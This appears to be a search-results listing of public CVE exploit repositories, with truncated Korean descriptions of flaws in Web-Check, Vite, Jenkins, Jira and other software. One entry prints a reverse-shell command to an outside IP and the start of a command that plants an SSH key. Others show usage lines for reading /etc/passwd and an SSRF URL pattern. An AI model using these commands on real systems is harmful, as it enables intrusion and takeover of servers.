3529 matches found
CVE-2024-50961
민감 데이터 노출 CVE-2024-50961 설명 DonWeb Ferozo Hosting v1.1에서 원격 공격자가 URL 매개변수를 악용하여 데이터베이스 자격 증명을 포함한 민감 데이터에 접근할 수 있습니다. 공격 벡터에는 네트워크 스니핑, 서버 로그, 브라우저 기록이 포함되며, 잠재적으로 조직에 심각한 보안 침해 및 데이터 보호 위반을 초래할 수 있습니다. HTTPS 및 안전한 로깅 관행을 통한 완화가 필수적입니다. 공격 복잡성 낮음 필요한 권한 없음 인증되지 않은 원격 공격자가 이 취약점을 악용할 수 있습니다. 사용자...
exploit-CVE-2016-8016-25
McAfee Virus Scan for Linux 다중 원격 결함 이 익스플로잇과 이 저장소의 모든 코드는 McAfee 라이선스 위반 관련 문제를 피하기 위해 제거되었습니다. McAfee VirusScan Enterprise for Linux는 McAfee의 엔터프라이즈 안티바이러스 솔루션입니다. 독특한 Linux 기반 온-액세스 스캐너는 시스템에서 잠재적인 공격을 지속적으로 모니터링합니다. 결함 VSEL 2.0.3및 이전 버전은 다음과 같은 공개된 보안 취약점에 취약합니다. ENSL 10.2 릴리스는 다음 취약점을 해결합니다...
CVE-2025-32778
CVE-2025-32778 - Web-Check 명령 주입 익스플로잇 설명 CVE-2025-32778은 Lissy93의 Web-Check OSINT 도구에서 발견된 심각한 명령 주입 취약점입니다. 인증되지 않은 공격자가 스크린샷 API의 url 매개변수를 통해 임의의 시스템 명령을 실행할 수 있습니다. 이 Python 스크립트는 익스플로잇을 자동화하며 리버스 셸을 생성하거나 사용자 지정 셸 페이로드를 수용할 수 있습니다. 경고 소유하거나 테스트 권한이 있는 시스템에서만 테스트하세요. 무단 사용은 불법이며 윤리적이지 않습니다. ...
CVE-2019-8451
CVE-2019-8451 https://jira.atlassian.com/browse/JRASERVER-69793 http://host:port/plugins/servlet/gadgets/makeRequest?url=http://:@'.formathost, port, target https://host:port/plugins/servlet/gadgets/makeRequest?url=https://:@'.formathost, port, target...
CVE-2023-51214
제안된 설명 크로스 사이트 스크립팅Cross Site Scripting 취약점이 Implementing an Activity Log in Your Web App Using PHP v.1에 존재하여, 원격 공격자가 URL에 조작된 페이로드를 통해 임의 코드를 실행할 수 있습니다. 취약점 유형 크로스 사이트 스크립팅 XSS 제품 공급업체 sourcecodester.com 영향받는 제품 코드 베이스 Implementing an Activity Log in Your Web App Using PHP - v1 영향받는 구성 요소 URL ...
CVE-2022-22947
왕정 코드 기반에 두 가지 리버스 셸과 네트워크 탐지 기능을 추가했습니다. 실행 시 어떤 모듈이 부족하면 pip으로 해당 모듈을 다운로드하면 됩니다. 의심스러운 URL을 입력하세요. 포트 뒤에 '/'를 붙이지 마십시오. 1. 먼저 취약점 존재 여부 확인 기본적으로 실행되는 명령어는 whoami입니다. 많은 명령어 실행이 결과를 반환하지 않기 때문에, whoami가 성공적으로 반환되면 취약점이 존재하는 것입니다. 반환 내용에 root가 있으면 취약점이 존재함을 확인할 수 있습니다. 2. 리버스 셸 공인 IP와 포트를 입력하세요...
CVE-2025-30208-Series
CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. 취약점 개요 CVE-2025-30208, CVE-2025-31125 및 CVE-2025-31486는 Vite 개발 서버의 임의 파일 읽기 취약점입니다. 이 취약점을 통해 공격자는 특정 URL 매개변수로 접근 제어를 우회하고 fs 모듈을 통해 서버의 민감한 파일을 읽을 수 있습니다. 위 세 가지 취약점은 발생 원인이 매우 유사하여 하나의 시리즈로 간주할 수 있습니다. CVE-2025-30208 영향받는 버전은 다음과 같습니다...
CVE-2024-47533
리버스 셸 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' 간단한 명령 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' SSH 키 추가 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p /root/.ssh && echo...
compaXSS
CompaXSS XSS 반사형 크로스 사이트 스크립팅 우회하기 ======= Example: python compaxss.py --url https://support.snapchat.com/login?next=-run 개발자 Jose Pino - @jofpin Juan Eljach - @juaneljach...
cve-2025-4664
CVE-2025-4664 이 저장소는 Chromium 기반 브라우저가 Link 헤더 프리로드 요청을 통해 민감한 URL 매개변수를 유출하는 취약점인 CVE-2025-4664를 악용하기 위한 PoC를 포함하고 있습니다. 리소스 이 익스플로잇이 어떻게 동작하는지 자세한 설명은 블로그 게시물에서 읽어보세요: https://amalmurali.me/posts/cve-2025-4664e. 흐름을 이해하려면 이 비디오를 시청하세요: 파일 target.py - 취약한 웹 애플리케이션 idp.py - SSO ID 공급자 attacker.py...
CVE-2021-22941
사용 python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 참조 https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...
CVE-2022-22947
CVE-2022-22947 사용법: python3 CVE-2022-22947.py url...
Jenkins-CVE-2024-23897-
사용 명령:python 3 CVE-2024-23897 . py-l 2 . txt-f/etc/passwdURLUniform Resource Locator을 2.txt에 작성하면 일괄 처리 가능...
CVE-2024-36527
CVE-2024-36527 PoC 및 대량 스캐너 개요 CVE-2024-36527에 대한 PoC: puppeteer-renderer v.3.2.0 및 이전 버전은 디렉터리 트래버설Directory Traversal 취약점이 있습니다. 공격자는 URL 매개변수에 file 프로토콜을 사용하여 서버의 민감한 정보를 읽을 수 있습니다. Zac Wang이 공개한 보안 권고를 기반으로 M Ali가 PoC를 작성했습니다. 사용 방법 단일 대상 스캔 단일 대상 엔드포인트를 스캔하려면: python cve-2024-36527.py -u...
CVE-2025-55182-exploit
CVE-2025-55182-exploit TL;DR 이는 합법적인 침투 테스트 목적으로만 사용됩니다. 불법 활동에 가담하지 마십시오. 사용 방법 python3 exploit.py 데모 영상...
CVE-2022-26134
CVE-2022-26134 사용: exploit.py url command...
SSRF-Exploit-CVE-2024-27564
SSRF-Exploit-CVE-2024-27564 프로젝트 제목 이 프로젝트는 pictureproxy.php 파일에서 발생하는 서버사이드 요청 위조SSRF 취약점을 시연합니다. 설명 pictureproxy.php의 취약점으로 인해 원격 공격자가 url 매개변수에 URL을 주입하여 임의의 요청을 수행할 수 있습니다. 이 SSRF 취약점은 인증 없이도 악용될 수 있어 특히 위험합니다. 취약한 코드는 pictureproxy.php 파일에 있습니다. 문제는 함수가 url 매개변수를 적절히 검증하지 않기 때문에 발생합니다...
CVE-2021-3131
CVE-2021-3131 제안된 설명 1C:Enterprise 8 8.3.17.1851 이전 버전의 웹 서버는 base64로 인코딩된 자격 증명을 'creds' URL 매개변수로 전송합니다. 취약점 유형 기타 CWE-522 불충분하게 보호된 자격 증명 제품 공급업체 1C Company 영향받는 제품 코드 베이스 1C:Enterprise 8 - 테스트됨: 8.3.17.1851 영향받는 구성 요소 웹 서버 영향 정보 공개 true 공급업체가 취약점을 확인하거나 인정했습니까? true 발견자 Irina Belyaeva Jet...